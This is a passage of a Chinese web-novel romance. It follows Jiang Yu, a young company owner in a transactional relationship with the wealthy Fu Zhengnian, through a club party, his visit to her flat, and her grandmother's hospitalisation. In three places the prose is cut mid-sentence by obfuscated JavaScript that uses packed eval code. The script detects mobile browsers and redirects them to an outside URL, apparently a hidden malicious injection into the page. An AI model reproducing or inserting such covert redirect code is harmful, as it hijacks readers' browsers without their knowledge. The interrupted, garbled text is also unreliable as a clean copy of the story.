江余很清楚,章烨磊并非是给她面子,只不过因为她是付政年带来的罢了。 “继续继续。”陈和畅很快又把气氛调动起来,“对了,文华哥外调什么时候回来,之前不是说到11月吗,现在都快12月了。” “说是有事要耽搁一段时间,应该也快了。”付岱说,“现在上头查得严,就算他回来了,也不敢来这种地方跟咱们鬼混啊。” 陈和畅点点头,“也是,嘉良哥也从来都不来。” 江余全程没怎么说话,打牌也是赢两局输两局,基本保持不输不赢的状态。 一直在江余身边看她牌的付政年瞧出了不对劲,他手搭在江余的椅背上,凑近了些,嘴唇贴着她的耳廓,“谦虚了啊。” 他看出来江余算牌很准,看对方打出来的牌,基本都能猜到他们手里的牌,而且她运气还不错,输的这几局也偶有故意的成分在。 他的气息喷打在她的后颈上,江余觉着有些痒,就缩了缩脖子,转过头小声说,“我要一直赢,别人该说我吃相太难看了,说不定还得连带着编排你,说你这是什么眼光。” 她这说辞成功把付政年逗笑了,“你想那么多干什么,玩的高兴就行,谁敢说你,我带你来是让想你放松一下,不是来这学什么人情世故的。” 来这种地方她怎么能够放松的了。 江余自然没有把心里的想法说出来,用开玩笑的语气掠过这个话题,“那我怕以后都没人敢跟我打牌了。” “那么厉害,以后上牌桌不都得带上你。” 江余也乐了,“付公子还看得上这点钱?” 江余平时的笑大多都是浮于表面,但方才她这笑是发自真心的,柳眉轻挑,眼睛眯成月牙形,灯光在她褐色的眸中折射出一道细微的光芒。 原来她笑起来也是极好看的。 因她这个笑,付政年的心情又好了几分。 说这话的功夫,江余又输了一局,她觉得里面有些闷,就借口去洗手间想出去透透气。 付政年收回搭在她椅背上的手,问:“找得到地儿吗,我带你过去。” 江余轻笑着起身:“小瞧谁呢,你玩着吧。” * 拉开包间门走出去,江余才觉着空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084574|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气充足起来,她深吸一口气,正要往前走时就听身后传来一道声音,“江余。” 江余回头,瞧见来人时也有些意外,“简娆姐。” 简娆轻轻一笑,上前来挽着她的手,“你一进来我就看见你了,只不过那么多人看着,我也不好上来跟你打招呼。” “上次的事还没有跟你说声谢谢呢。” “谢什么,我就帮你带了个话,说句实在的,也不怕你觉得我怎样,如果那天付公子不愿插手,我也会当做不知道,绝对不会多管闲事。” 简娆一脸坦然,话也说的实诚,人都是趋利避害的,这点没什么不好承认。 比起那些跟你打太极,玩些虚头巴脑的,江余觉得跟这样的人相处要轻松多了。 她笑了笑,说:“我知道。” 简娆扭头打量了她几眼,那眼神似乎是觉得她有些傻,“白卉说的没错,你这脾气好到像是没脾气一样。” 或许是简娆给她的印象很不错,江余难得的愿意多跟她说几句,“我不是脾气好,只是觉得,如果换作是我处于那个位置,也未必能够比别人做的好,想通了,自然也就没有生气的必要了。” “你倒是看的通透。” 简娆随即又问:“对了,你公司的事现在应该解决了吧。” “暂时是没什么问题了。” “许平呢,他是不是来找你道歉了?” “你怎么知道?”江余略带疑惑的看着她。 “你以为康乔才开那么点时间凭什么成为那一片最有名的夜总会,去那里的人可不纯纯是为了消遣,大多都是存了跟我们老板攀关系的心思去的,付公子人都走了,接到电话又折回去把你带走,那些惯会见风使舵的人自然要开始慌了,还有贺氏,最近也是低调了许多,贺文瑞更是夹着尾巴做人,再也没踏进过康乔。” 简娆一脸不屑的说着。 江余闻言不由一怔,所以那天付政年是从外面折回来的。 她还以为,是因为她之前落了他的面子,他是故意拖着时间到的。 江余轻抿唇角,压下那股无法言明的情绪,笑问:“你怎么知道的那么多?” “听钱总说的,”怕她不知道钱总是谁,简娆又补充道,“就是我现在跟的那个,不过我估摸着也就这段时间了,他好像又有新目标了,新人上位,我这旧人就该滚蛋咯。” 简娆说的十分自然,明显是对这种事已经见怪不怪了。 尤其是最后的那句话,还能隐隐感受到她很期待那天的到来。 江余一时间也不知道该说什么。 这时有一个女生迎面朝她们走来,看到江余后上下扫视了她一圈,眼神中带着浓浓的不屑。 擦肩而过时,甚至还用肩膀撞了一下她。 江余有些懵,她在脑中仔细思索了一下,十分确信她不认识这个人,也并未与她有过任何摩擦。 江余还未开口,一旁的简娆先出声了,“走路没长眼睛啊。” 然而回应她的,只是一个踩着高跟鞋扬长而去的背影。 简娆哼了声,又骂了两句这才跟江余解释起来,“这人是个刚入圈的小模特,之前想攀过付公子,结果没成功,现在看到你,自然眼红。” 原来是这事,她还当是什么呢,江余没忍住笑了一下,认真点评了句,“挺漂亮的。” 简娆频频摇头,“不不不,付公子喜欢纯天然的。” “那以后付政年要是对我倦了,我也去整一个,恶心一下他。”江余也跟着开了句玩笑。 简娆跟着笑了两声,突然又长叹了口气,“其实跟着付公子挺好的。” 或许是简娆的语调太平,江余感觉自己的情绪并未因为这句话有任何起伏。 “我说真的,最起码他出手阔绰,最后不会让你空手而归,像之前那个谁,付总喂了几个资源,直接给人从十八线小明星捧成了流量花。” 江余连名字都没有问一下,想到前几次付政年送她的东西,只道:“他出手确实阔绰。” “但是你要记住,”简娆话锋突转,“在这段关系里,千万不能动心,更不要试图用感情去捆绑他。” 江余弯唇,一脸平静地应着,说知道的,我有分寸。 意识到这个话题过于沉重,简娆赶忙岔开,又问:“许平去找你的时候,你有没有好好羞辱他一番出出气。” “没这个必要。” “怎么就没这个必要了,当时他们这样对你,你是怎么忍得下这口气的。”简娆有些不理解。 “利丰只是一个小公司,我一没人脉,二没资源,现在他们对我有几分好脸色,也都是因为付政年,我又何必把人得罪死了,给以后惹来麻烦。” 毕竟,他们迟早都要分开。 简娆承认自己确实没有她想的全面,“刚才是我多余说了,你活的比我通透多了。” 8. 08 江余回去的时候,舞台上的女歌手正唱着一首十分激情的歌,付政年和章烨磊他们来到了赌桌这边,一边垒筹码,一边谈笑风生。 付政年点了根烟仰靠在椅背上,侧头和章烨磊说话,看到她过来后回头瞧她一眼,给她递过来一杯几乎没什么酒精度的饮料,说,“不喜欢我让人给你重新调一杯。” 江余抿了一口,摇头说不用。 没什么事干,江余就四处看了看,她这才发现这里面的人她竟然也认识几个,都是娱乐圈小有名气的演员和模特。 她们脸上讨好的笑容与荧幕上的形象也是大相径庭。 恰好这时到了零点,吵闹的音乐把这里的氛围带至最高点,一道道生日快乐的祝福声响起。 旁边人开酒时不小心洒了些到江余脸上,她不动声色地动手擦了一下,而后把目光投向今晚的主角,付岱坐在长沙发上,怀中抱着一个年轻高挑的小美女,与其他人举杯,脸上笑的肆意张狂。 台上细软的腰肢伴随着高亢的节奏扭动,满室萦绕着香槟啤酒的味道,一群年轻男女相互碰杯调笑。 霓虹灯光四射,琉璃盏清脆,歌声悦耳,舞姿曼妙。 这就是富人的销金窟。 灯红酒绿,纸醉金迷。 抬手间,从他们手中流转而过的钱,是许多人奋斗一辈子都无法拥有的。 煌煌似幻影,骄奢如梦。 身处此等环境中,纵使心如明镜的人,也难免会被迷了眼。 本来就是一个俗人,短暂的随波逐流又有何妨。 所以在付政年让江余帮他下注时,江余把他面前所有的筹码往左一推。 可惜,她没有他们的财力,做不到视金钱如粪土,也注定无法体验到散尽千金是何滋味。 结果显而易见,她压对了。 有那么一瞬间,江余甚至都觉得,她是不是找到了一个新生计。 陈和畅转头说:“四哥,你这是带了个财神爷在身边啊。” 付政年轻笑,抬手捏了下她的脸,又将手重新落回她的腰际处,往怀里带了些,说:“看来我真是捞着个宝贝啊。” 江余颇有些可惜地说:“本来想帮你散散财来着的。” “胳膊肘尽往外拐。” 付政年的手轻掐了一把她腰上的软肉,不疼,反倒挺痒的。 江余瞪他,在他手背上拍了一下。 付政年的眼中没有一丝赢钱的喜悦。 江余觉得,就算刚才她真的压错了,他的神情也不会有什么变化。 说来也觉得奇怪,付政年能够在生意场上运筹帷幄,也能在欢场里游刃有余,但却从不会彻底融入其中。 在喧嚣热闹的环境中,他就好像一个置身事外的看客。 游戏人间,却又始终保持清醒。 江余回头看他,他们的明明离的那么近,可他那漠然幽深的眼神却偏生叫人生出一种距离感。 付政年手上的温度,也没办法从她腰际传递至心间。 江余刚想收回视线,结果就瞧见他眼底不经意间流露出的几分倦意。 她原本想当做没看见的,可又突然想起了简娆同她说的在康乔那天晚上,付政年原本都走了,后来又折转了回来。 也不知是出于对先前误解他的愧疚还是什么,江余终是没有做到视而不见。 她对着付政年扯出来一个笑,“还请付总体谅,我明早还要上班呢。” 想走的意思不言而喻,反正现在零点已经过了,也算不得提前离场。 “困了?” 江余没回答。 “我让黄师傅先送你回去。” 说罢,付政年拿起手机,作势就要打电话。 江余拉住他的衣袖,老实说:“我是瞧着你有些困,想着你该回去休息了。” 江余的声音不大,在音乐声的掩盖下连她自己都怀疑她刚刚是否说了这话。 但付政年却听清了,他低头看着她,眼波流转间也不知是何情绪。 江余的心怦怦跳动了几下,有些后悔为何要多此一举。 但就在这时,付政年却握住她的手,拉着她起身,拿过外套搭在臂弯上,对着章烨磊他们说了句“先走了,你们玩。”便带着她往外走,全然不顾身后的疑问和调侃。 知道今晚要喝酒,付政年提前叫了司机过来,他们到车库的时候,黄师傅已经等在那了。 上了车,不待黄师傅开口,付政年就说,“先送她回去。” 付政年也没有再强撑,懒散地靠在椅背上。 车辆驶动,付政年打开车窗,伸手去口袋里掏烟。 江余扭头看着他,说:“别抽了,反正还有段距离,你先睡一会儿吧。” 付政年一言不发,看向她的眼神悄然变暗。 他是觉得她挺有意思的,也乐意纵容几分,可不代表她能试图管着他。 气压陡然下降,江余这也才意识到自己有些逾越了,她笑了笑,轻声道:“抱歉。” 说完,她就转过头,看向车窗外。 付政年拿着打火机在手中把玩了几下,最终也还是没有把烟点燃,他随手把打火机塞进面前的储物袋中,阖上眼睛。 “到了叫我。” 他的声音一如既往的温和,可江余却没再回头看一眼。 在车上眯了会儿,倒真还把付政年的困意勾了起来,但江余下车时他还是强行睁开眼在迷迷糊糊中说了句“早点休息”。 江余把车门轻轻关上,转身往小区走。 寒风吹散心底的躁意,她这才有了一种回到自己世界中的踏实感。 * 第二天,付政年让人给江余送来一份礼物。 东西是直接送到公司的,看上面的LOGO,是一个大牌的包,江余从付政年助理手中接过手提袋,笑说:“回去帮我谢谢你们付总。” 助理点头,“一定帮您带到。” 江余也没有打开看,进了办公室就直接丢在桌上,恰好这时付政年给她发来一条消息。 【东西拿到了?喜欢吗?】 江余面无表情的回着:【嗯,谢谢。】 【只会这一句?】 盯着这条消息看了三秒,江余退出微信界面,去网上找了一长段恭维的话,改了下里面的用词,给他发了过去,在付政年回复前,她又发了条我先忙了就没再看手机。 另一边的付政年看后没忍住笑了几声,“脾气还挺大的。” 宁宏拿着一份文件进来让江余签字,看到她桌上包装精致的手提袋,脸上的笑突然停滞了一下,试探地问:“江总,谈恋爱了?” 江余翻文件的手一顿,自嘲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084575|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了笑,心想,一场权色交易而已,可千万不要侮辱了这个词。 “没有,朋友送的。”江余说着,拿起笔利落的在文件上签下名字。 宁宏哦了一声,但语气中却明显松了一口气,他又给江余递过去一份文件,说:“这个是今早给我们发来合作意向的公司。” 江余翻开一看,有一种想笑却笑不出来的感觉。 她之前陪了无数笑脸,都没有几个人搭理她,然而她昨晚只是跟着付政年露了一次面,今早就有那么多上赶着给她送钱的人。 可真是讽刺啊。 江余把文件合上,递会给宁宏,“宁叔,按照流程推进吧。” 宁宏深深看她一眼,点头应下,“我知道了。” 宁宏这段时间跟着忙的脚不沾地,也消瘦了一大圈,江余看了有些心疼,又问了句,“人事那边还没有招到人吗?” 之前走了一大批人,后来恢复运转后,江余就让人事那边着手准备招人的事,现在都过了一个多星期了,但她也没有看到什么新人。 “我正想跟你说这事呢,人事已经开始招人了,但是现在有一个问题,就是之前离职的老员工,听说公司恢复运转了,有好些重新投了简历,想要回来,所以现在他们也有些拿不定主意,就让我来问问江总。” 江余笑了下,没把这件事当回事,“让他们正常招就是了,看能力来。” “好。” 宁宏又看了江余一眼,一脸欲言又止,但最终他还是没说什么。 江余回去之后就直接把这个袋子跟付政年之前送她的东西放在一起,她想,如果哪天她穷困潦倒了,就把这些东西全都转卖出去,去找一个小县城,应该够她安稳的过完后半辈子了。 * 为了还之前付老爷子欠下的一个人情,付政年和付岱去了一个饭局,出来时两人的脸色都有些难看。 付岱跟着付政年上了车,拧开一瓶水喝了一口后才愤愤地说,“这些人也真是给脸不要脸,竟然狮子大开口,张口就要那么大个项目,也不怕给他们肚子撑破了。” 付政年冷笑一声,眼中覆了层霜,“他们既然想要那给他们就是了。” 他的语气没有一丝情绪,无波无澜,却偏生叫付岱觉得后背一阵发凉,“四哥,你想怎么做。” “你去找章烨磊,他跟东亭的孙总有些交情,让他组个局,再叫上里面这些人,一个唱白脸,一个唱红脸,从他们手里把东亭的项目抢过来。” 他们要的太多,总得付出点其他代价。 付岱打了个响指,表示明白,很快又说:“我原定过两天要去巴黎出差的,看来只能让姐夫走一趟了。” “嗯。” “你不是也要去纽约吗,什么时候走。” “明天。”付政年滑动着微信消息,回复了几个,结果一不小心点进了江余的页面。 上面的日期还显示在三天前,付政年停顿几秒,瞟了一眼付岱,说:“你自己打个车或者叫人来接你,我还有点事。” “……” 付岱就这样一脸疑惑的被赶下了车。 今天他们是一起从老宅过来的,想着到时候叫付政年送他一程,付岱就没有开车,结果现在他就这样被人扔在了路边。 还连个理由都没有。 实在是荒唐。 9. 09 接到付政年电话的时候,江余刚洗完澡。 他打电话的时候人已经在她小区门口了,江余吓了一跳,快速把头发吹干,也没时间化妆,换了身衣服就下去了。 车子开着双闪,很好找,江余拉开车门上车,付政年今天穿了件圆领的毛衣,褐色外套随意搭在一旁,他应该才抽完烟,车内还留存着一股很淡的烟草味和酒精味。 “你怎么这个时候过来了?” “我不找你,你就不知道联系我是吧?” 他说这话的时候是笑着的,语气也和平常无异。 江余听不出来喜悲,只平静的回了句,“我怕你有事,打扰到你。” 付政年不明所以的笑了声。 江余此时也看出来他今晚的情绪不是很高,犹豫了一下还是问道:“你心情不好吗?” “是啊,”付政年点头,拉着她的手腕把人往自己这边带了下,长臂一伸将她抱在怀中,低头与她对视。 他的目光平静而认真,似乎在说,我心情不好,你打算怎么做? 仿佛特地过来寻求她的安慰。 江余被自己这个想法吓了一跳。 静坐一会儿,见付政年一直不出声,也没说去哪,江余便问:“那现在要去哪?” 付政年没有想过这个问题,他今天确实是被那些人气得不轻,不小心点到了江余的界面,想到她,就过来了。 她身上的那股子恬静淡雅,让人看了莫名心静。 他第一次留意到她,也是因为这个缘由。 至于现在要去哪,他没有想过。 江余只好把他带回自己那里。 “没有多余的拖鞋,你直接进来吧。”江余打开门,侧身让付政年进屋。 出租屋面积不大,一室一厅,带了单独的厨卫,里面收拾的很干净,东西也摆放的十分整齐。 付政年脱下外套,在沙发上坐下。 江余接了一杯热水放在他面前,“我不喜欢喝茶,平时也没什么人来我这里,就没准备茶。” 说着江余又走过去拉开冰箱,从里面拿出一盒草莓,洗净了放在盘中端出来。 做完这些,她才在付政年旁边坐下来,觉得这氛围有些怪异,她拿过遥控器,打开电视,随意调了个综艺节目。 这是一个旅行类的综艺,此时是晚上,一行人坐在一起猜测下一站会去哪里。 里面的这些人江余都不陌生,大都是在娱乐圈摸爬滚打许多年的人,最年轻是一个新晋小花,近两年才火起来的,演技尚且不论,但是那张脸,确实是极漂亮的。 平时在微博上看到她的帖子,江余都会停留观看一会儿。 所以在她说话的时候,江余的注意力也全都放在了她身上,以至于没有注意到付政年向她投来的目光。 等那女星说完话,江余才发现付政年一直在盯着她看,眼中带着审视和探究。 江余被他看的一愣,有些不解:“怎么了?” “没事儿。”付政年笑了笑,手掌在她头上揉了下,却发现她的发丝还有些潮润,“怎么没把头发吹干?” 江余从盘中拿了一颗草莓递给付政年,随口道:“怕你等太久了。” 付政年看了一眼,直接握住江余的手腕,就着她的手,把她手中的草莓喂到自己嘴里。 他的唇瓣触碰到她的指尖,江余浑身一激灵,下意识把手往回缩,反倒被付政年握的更紧了些。 江余回头,只瞧见付政年的眸光晦暗了几分,“下次不用着急,多久我都等你。” 她心中蓦地一紧,还不等她开口,眼前就已被一片阴影笼罩。 唇齿相触的那一瞬间,江余下意识往后退了些,却又被他禁锢的越发紧。 他吻人的力道不轻,吞噬?侵略?占有? 她也说不清具体是什么。 反应过来后,江余缓缓闭上眼,伸手环住他的腰,给予他回应。 在这寒风肆虐的天气,付政年的怀抱尤其温暖。 他那双眼睛,无论看多少次,都还是会让人忍不住沉溺其中。 所以就算明知只是随口一言,她也愿意握紧独属于这一刹的温暖。 这一年的冬天,寒冷,干燥,也让人难忘。 付政年退开了些,拥着她的手却未松开,他垂眼去看她,江余此刻脸颊有些微红,正伏在他肩头轻喘。 还不等他仔细欣赏,江余的眼神很快又恢复了清明,她身子后移,拉开了和付政年的距离,平静开口:“你今晚应该没怎么吃东西吧。” 饭局上,几乎都是在喝酒,那些菜,基本没人动。 她抽身的如此快,让付政年都有些惊讶,他就这样看着她,想要从她眼中看出些其他情绪。 “我给你叫个餐吧。”江余作势去拿茶几上的手机。 付政年抢先摁住她的手,“太晚了,别折腾了。” 江余轻叹口气,说:“那我给你随便弄点。” “你还会做饭呢?” 江余笑了下,站起身就往厨房走,打开冰箱看了看里面的食材,“晚上吃太油腻的怕你胃不舒服,我给你煮碗面吧。” 付政年没说好也没说不好,跟着她走到厨房,但并没有进去,只是倚在门边看她。 江余把方才拿出来的配菜洗净切好,又把需要用到的东西全都拿出来。 在开火之前,她回头对付政年说,“你去外面等吧,等会儿油烟味太重,怕你受不了。” 付政年却并不在意,只说你做你的,不用管我。 江余也真的没再管他,起锅热油动作一气呵成。 她在家穿的很休闲,一件绿色毛衣,一条浅色牛仔裤,长发束成低马尾,额前有几缕碎发轻轻飘动着,皮肤白里透红,此时她安心专注于手里的事,没有了平日里的刺,站在那,好似自成一个世界。 付政年觉得这一趟还真没来错,和她待在一起,确实容易让人静下心来。 江余动作很快,没多久一碗面就煮好了,她把碗放在餐桌上,拉开凳子在付政年对面坐下,“味道肯定是比不上外面的,将就一下吧。” 付政年尝了一口,抬头看着她,笑说:“我怕是以后都吃不下别人煮的面了。” “吹牛吧你。”江余显然不信,只觉得他又在满嘴跑火车。 “没骗你,说真的。” “那你记得全部吃完。” “余余,你这就有点为难人了。”付政年双腿叠放在一起,单手撑着下颌,失笑道。 听到这个称呼,江余轻抬眼皮看向他,他勾着唇,十分自得,一点也没觉得有什么不妥。 叫她余余的不在少数,但付政年用他惯有的腔调唤起来,莫名让人觉得有些缱绻的味道。 正好这时江余的手机铃声响了,她轻笑一声,说“赶紧吃你的吧。” 随即站起身去茶几上拿手机。 看到来电人显示时,江余呼吸一滞,心底隐隐生出一丝恐慌。 “江小姐,您奶奶的情况不容乐观。” * 赶去医院的路上,江余一直心神不宁,一分钟要看好几次手机,身上的气压也十分低。 这是付政年第一次瞧见她这副濒临失控的模样。 付政年手搭在她肩上,轻拍着,“你先别担心,我已经打过电话了,会没事的。” 江余点点头,没说话。 付政年陪着江余来到急诊室门口,问了下护士老太太的情况,看着上面亮着的红灯,她红着眼靠在墙上一言不发,紧紧盯着门口。 江余也不是非要做出一副世界毁灭的姿态,只不过,半年前在急诊室外等侯江父江母他们抢救的场景历历在目,以至于现在她看到这副景象,总会不由心悸。 付政年就站在一旁陪着她,时不时低头回几个消息。 “你先回去吧,我自己可以的。”江余声线还算平稳,但却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084576|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着一丝颓意。 她的眼神也没有了平时的宁静,反而是对未知的恐惧和迷茫。 “说什么呢,我怎么会把你一个人丢在这种地方。”付政年掐了下她的脸,安慰道,“你别太担心,会没事的,” “你要实在心慌,不如打我两下发泄发泄?” 江余没忍住笑了下,说我哪敢打您啊。 付政年伸手把她揽怀里,带着她往一盘的长椅上走,笑道:“你打我我还敢还手吗?” 被付政年插科打诨一番,江余心中的慌乱确实少了不少,跟着他一起在长椅上坐下。 等待的时间总是漫长的,有个人在旁边陪着,也显得没那么难熬了。 一直到凌晨四点,急救室的门才打开,江余立即迎上去,忙问道:“医生,我奶奶怎么样了?” “幸好发现的及时,现在已经脱离危险,不过病人的情况已经拖太久了,如果再找不到适配的肾源……” 剩下的话医生没说完。 江余的心直往下沉,木讷地点着头。 这时候付政年也走了过来,笑着说:“陈医生,大晚上给您添麻烦了。” “小问题,付公子这就见外了。”陈医生取下口罩,又同付政年寒暄了几句才离开。 看到江余还站在原地不动,付政年伸手在她头顶拍了拍,弯下腰与她对视,“我就说会没事的吧,肾源我会让人留意着,放宽心。” 熬了半宿,付政年的声音也有些沙哑,江余鼻头有些发酸,点点头,“谢谢。” “跟我还说这些。” 付政年提前打过招呼,护士直接把老太太送到了单人的VIP病房,付政年陪着江余把所有手续办全,回到病房的时候已经快五点多了,老太太瘦骨嶙峋的躺在床上,还没醒来。 付政年把手中的诊单放到床头柜上,观察了一下输液管中药水滴落的速度,关慢了些,这才回头问江余:“你今天还去公司?” 看到他的动作,江余抿了下唇,心里说不清是何滋味,她点点头,“嗯,早上合作方过来签合同,时间约好了不好改,我过去一趟就回来,奶奶这里之前家里的阿姨会来帮我照看一会儿。” “好,我出去打个电话。”付政年拿着手机走出病房。 江余走过去坐在老太太床前,握住她的手,感受着她手上的温度,江余悬着的心才渐渐落地,喉咙涩哑到说不出来话。 付政年很快回来,他看了一眼腕表,对江余说,“我要去纽约出趟差,八点的飞机,可能要一周左右才能回来,这段时间有什么事你就跟付岱说,我叫人给你送了早餐和衣服,省得你来回跑。” 江余震惊地看着他,“你要出差你怎么不说一声,你一晚上都没睡。” 付政年笑了下,不甚在意的开口,“我等下在飞机上睡,一个人忙不过来就找个护工,走了。” “我送你下去。”江余拿起一旁的外套,准备送他去停车场。 “不用,”付政年捏着江余的下巴,俯身在她唇上亲了下,指腹在她脸上轻轻摩挲,“好好陪陪老人家,自己也要注意休息。” 江余点头说好,站在原地目送他离开。 在这之前,她怎么也不敢想,付政年竟然会在零下的天气,也不管第二天要出差,陪她在这到处充斥着消毒水的医院,待了一整晚。 付政年离开没多久,就有人提着几袋东西来了医院,有果篮,衣服,还有早餐, 江余跟他道了谢,又把他送到电梯口才回来。 回到房间,江余把东西收拾了一下,从袋子里拿出衣服去卫生间洗澡。 上身后,江余才发现衣服尺码正好,就连鞋子也是。 她去走廊上把头发吹干,才拿出付政年让人送来的早餐,打开盖子的那一刻,她视线逐渐变得模糊,把里面的葱全都挑出来才开始往嘴里送。 付政年能一眼就看出她的衣服尺码,可却从来没留意到她不吃葱。 10. 10 八点还没到,刘妈就过来了。 刘妈五十来岁,在江家待了十多年,和她们的感情十分深厚,让她看着奶奶,江余也放心。 “刘妈,如果我回来之前奶奶醒了的话,你帮我跟她说一声,我就去签个合同。” “哎,好,你放心就是。” “谢谢您。”江余笑了笑,也没再耽搁,拿起包就去了公司。 江余赶回公司签了合同,又交代了宁宏一些事,一看时间已经快中午了,她就直接回了医院。 她回去的时候老太太还没醒,刘妈看了下时间,对她说:“余余,你看着老太太,我回去给你们做饭送过来。” “不用了刘妈,来来去去的太麻烦了,等会儿我随便叫一点就行。”江余有些不好意思再麻烦刘妈。 “不麻烦,就算你可以将就,但老太太呢,她现在正是需要补充营养的时候,之前先生和太太对我那么好,余余,你就别跟我客气了。”刘妈拍了拍江余的肩,语气真挚。 江余终是没再说什么,刘妈说的对,昨晚才经历这一遭,奶奶确实需要好好补充些营养。 熬了一个通宵,江余觉得有些头昏脑涨,但却一点睡意都没有。 老太太要住一段时间的院,手上还插着留置针,江余趴在床边看着她,她安静地躺在床上,身上还连接着各种仪器。 江余忍不住在想,那么慈祥的一个老人,为什么要遭受这个罪呢。 “奶奶,你一定要平平安安的,” “别丢下我一个人。” 她说话的声音极轻,生怕扰了这片刻的宁静。 * 江老太太是晚上才醒的,江余靠在一旁的椅子上撑着头看书,见老太太醒过来,她先是欣喜的唤了声奶奶,然后才去叫医生。 医生进来给老太太检查了一下身体,说暂时没什么问题了,并交代了一下注意事项和近期的饮食。 医生走后,老太太对江余笑了笑,“担心坏了吧。” “可不是嘛,”江余倒了杯热水给她,坐到她床边拉着她的手晃了晃,“您以后可千万别这样吓我了。” 离近了,老太太才看到她眼下的一片乌青,不用想也知道她昨晚定是一整晚都没睡,当下便心疼极了,“你赶紧回去好好休息,不用在这陪我,我没什么事。” 江余摇摇头,“没事,这里那么大,等会儿我去外面租一张折叠床就行了。” 老太太还想劝,可江余却没给她这个机会,她走过去拿起柜子上的保温盒打开,“您睡了那么久肯定饿了吧,刘妈刚刚送来的饭,现在还是热的。” 想着老太太醒来没有胃口,刘妈做的菜十分清淡,也助于消化。 江余一一打开放在桌上,这才把老太太从床上扶起来,“您先吃一些。” 老太太叹了口气,知道江余的脾气,也没有再劝,她接过江余递来的筷子,眼神环顾一圈,没有动筷,反倒是问江余,“这病房是什么情况?” 江余收东西的手一顿,很是平静地说,“普通病房人太多了,怕影响到您休息。” 她这话说的避重就轻,老太太也未疑有他,只说她浪费这个钱做什么。 老太太吃了几口就说吃不下了,倒是把汤碗里的汤全都喝了。 末了还不忘夸赞一句,“刘妈熬的汤还是那么好喝。” 江余听了笑出声来,“您爱喝的话,我明天跟她说,再给您做。” 老太太最后还是心疼孙女,没让江余睡折叠床,反倒是叫江余躺上来跟她一块儿睡。 单人病房的床挺大的,江余也没有扭捏,洗漱完就爬上床,躺在老太太身边,祖孙俩有一搭没一搭的聊着。 老太大像小时候哄她睡觉那般,轻抚着她的发丝,“我们家余余真漂亮。” 江余甜甜的对她笑了笑。 老太太看着她越发尖锐的下颌,一脸心疼地说:“又瘦了。” 江余失笑道:“我前几天才来看过您,哪可能瘦那么快。” “余余,如果太累的话,就把手里的股份都卖出去吧,拿着钱去做自己喜欢的事,至于我的病,你也不用担心,反正我活了那么多年,也没什么遗憾了。” 老太太说着说着眼睛开始有些湿润。 “奶奶,我不累。”江余拉起奶奶的手,姿态亲昵的用脸去蹭了蹭,“公司是爸爸奋斗多年的心血,我一定会守好它的。” “至于您呢,也一定会长命百岁的。” “你怪你爸爸吗?” 江余弯唇,摇摇头,“不怪,如果从前爸爸真的逼着我去学管理,我可能还不乐意,姐姐当时可别提有多羡慕我呢。” 怕老太太担心,她又故作轻松地说,“您又不是不知道,我从小就聪明,这段时间有宁叔在一旁教我,我也开始熟练了,所以您也不用担心我累着。” 眼看着老太太的眼睛越发的红,江余赶紧拍了下她的背,“您现在的当务之急,就是先把身体养好,其他的都不用操心。” “好,听你的。” * 老太太睡着后,江余轻轻掀开被子下床,披上外套来到廊上,想要吹风缓解一下烦闷的心情。 虽然付政年说会帮她留意着合适的肾源,但老太太体质特殊,从前些年开始,江父就一直让人寻找,那么多年过去了,也都没有找到适配的。 如今老太太情况越来越糟,江余始终无法放下心来。 这时候江余手机响了一声,她拿出来一看,微信弹出来一个好友申请。 她点进去,验证消息只有短短几个字,我是付岱。 江余不清楚付岱为何突然加她,但还是给他通过了。 紧接着付岱的消息就发过来,【四哥出差去了,这段时间有什么事你跟我说。】 公事公办的一句话,江余看后回了句谢谢,那边就没有消息再过来了。 江余手肘撑在窗台上,又想起付政年昨晚陪了她一夜,现在他应该还在飞机上,思索片刻后她又在微信上给他发了个消息。 降落平安。 夜晚温度骤降,江余瞧着怕是要下雨,没待多久也就回病房了。 第二天江余回家拿了点日常所需的东西,接下去的几天,她偶尔去一趟公司,其余时间几乎都是在医院陪着老太太。 付政年这次出差很忙,再加上两地有时差,两人的消息很少有及时回复的。 这天宫白卉打电话约江余出去吃饭,江余本来想拒绝的,老太太倒是先替她答应了,“你们年轻人就应该多出去玩玩,这里有刘妈。” 江余自也不好多说什么,收拾一下就出了医院。 见面后宫白卉就先发制人地开口:“奶奶住院了你怎么也不跟我说一声,我也可以过来帮着你一起照顾她,你就不用那么辛苦了啊。” 江余笑笑,说:“没事的,我一个人忙得过来,说了也怕你跟着一起担心。” “原本还想约你一起去逛街的,现在看来只有改天了。” 吃完饭,宫白卉就跟着江余一起去了医院。 刚走到病房门口,江余的脚步就顿住了。 病房里来了好几个不速之客,此刻正同老太太在里面聊的十分热络。 